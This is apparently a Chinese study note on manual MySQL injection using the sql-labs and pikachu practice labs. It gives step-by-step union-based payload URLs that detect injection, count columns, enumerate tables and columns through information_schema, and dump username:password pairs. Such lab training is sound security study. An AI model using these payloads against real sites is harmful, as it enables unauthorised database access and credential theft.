第二章-MySQL之手工注入(二)
靶场:pikachu
SQL注入介绍
数据库类型:关系型数据库和非关系型数据库
MYSQL,MSSQL,ORCLE,ACESS,
提交方式:GET,POST,COOKIE,REUQEST,HTTP头
数据类型:数字型,字符型,其他
查询方式:select,insert,delete,update,order by
回显/盲注:回显注入,无回显注入,延时盲注入,布尔盲注入
WAF绕过:更改提交方法,大小写混合,解密编码类,注释符混用,等价函数替换,特殊符号混用,等其他
其他注入方式:加解密注入,JSON注入,LADP注入,二次注入,堆叠注入
SQL注入防御方案:代码加载过滤,
sql-labs-less-2
get 提交 : url 可见的 长度限制 速度快
post 提交 : 服务器 安全性 数据量 不可见的 没有长度限制 速度慢,因为要提交给服务器后台
手工注入的思路:
1、判断是否有注入 ?id=1 如果有回显,说明他把数据提交给数据库执行了,说明有注入
随便输入内容 == 报错了 则有注入
== 没有注入
2、判断注入类型(数字和字符)
1.数字型
?id=1 and 1=1 回显正常
?id=1 and 1=2 回显不正常,报错
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1
2.字符型
?id=1 and 1=1 回显正常
?id=1 and 1=2 回显正常
SELECT * FROM users WHERE id='1 and 1=2' LIMIT 0,1
示例:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
2、猜解字段 order by 排序 %20 空格
http://192.168.x.x/sql-labs/Less-2/?id=1 order by 4
如果没有就会报错:Unknown column '4' in 'order clause'
3、报错,来判断回显点 union 联合查询
前面的字段数量要和后面字段的数量要保持一致
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,3
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,database(),user()
4、信息收集
数据库名:database()
用户名:user()
数据库版本:version()
高版本:5.0以上
系统库:information_schema,sys,mysql,...
information_schema:schemata,tables,columns
低版本:5.0以下
5、使用对应SQL进行注入
数据库库名:security
information_schema.tables 查找表名
information_schem.coulumns 查找列名
table_name
column_name
group_concat()函数用来将多行查询结果合并成单个字符串输出
union select 1,talbe_name,3 from information_schema.tables where table_schema='security';
查询出来的表名:emails,referers,uagents,users
注入流程(数字型):
1、判断是否有注入:
http://192.168.x.x/sql-labs/Less-2/?id=1
http://192.168.x.x/sql-labs/Less-2/?id=dafdkfsaf 这样也行,因为最终数据都是要提交到数据库里的,只要与数据库有交互就说明有sql注入,除非对get,中url参数加密做限制
2、判断注入类型
http://192.168.x.x/sql-labs/Less-2/?id=1 and 1=1 有回显,还不一定是数字类型,必须两个都要试一下才行
http://192.168.x.x/sql-labs/Less-2/?id=1 and 1=2 无回显,说明最数字类型
3、判断字段数量
http://192.168.x.x/sql-labs/Less-2/?id=2 order by 4 判断字段的数量,如果报错说明没有
http://192.168.x.x/sql-labs/Less-2/?id=2 order by 3 回显正常
4、利用字段1、2、3来查看回显的位置
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,3
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,database(),version()
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,user()
这里要让前面的报错,后面的数据才能显示出来
5、找到回显的位置,就可以在回显的位置进行注入,
这里我们知道数据库名,可以通过数据库名,查找该数据库下有哪些表名
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
6、利用得到的表,再查看字段的数据
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
7、这个时候就可以查找users,下的某个字段的数据了
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(username,':',password) from users
SQL语句
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema=database()
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
http://192.168.x.x/sql-labs/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
字符型注入
http://192.168.1.7/sql-labs/Less-1/?id=1' and 1=1 --+
http://192.168.1.7/sql-labs/Less-1/?id=1' order by 4 --+
http://192.168.1.7/sql-labs/Less-1/?id=-1' union select 1,2,3 --+ 这里id=-1是因为,要让后面的查询语句显示出来
http://192.168.1.7/sql-labs/Less-1/?id=-1' union select 1,database(),user() --+
http://192.168.1.7/sql-labs/Less-1/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
http://192.168.1.7/sql-labs/Less-1/?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
http://192.168.1.7/sql-labs/Less-1/?id=-1' union select 1,database(),group_concat(username,':',password) from users --+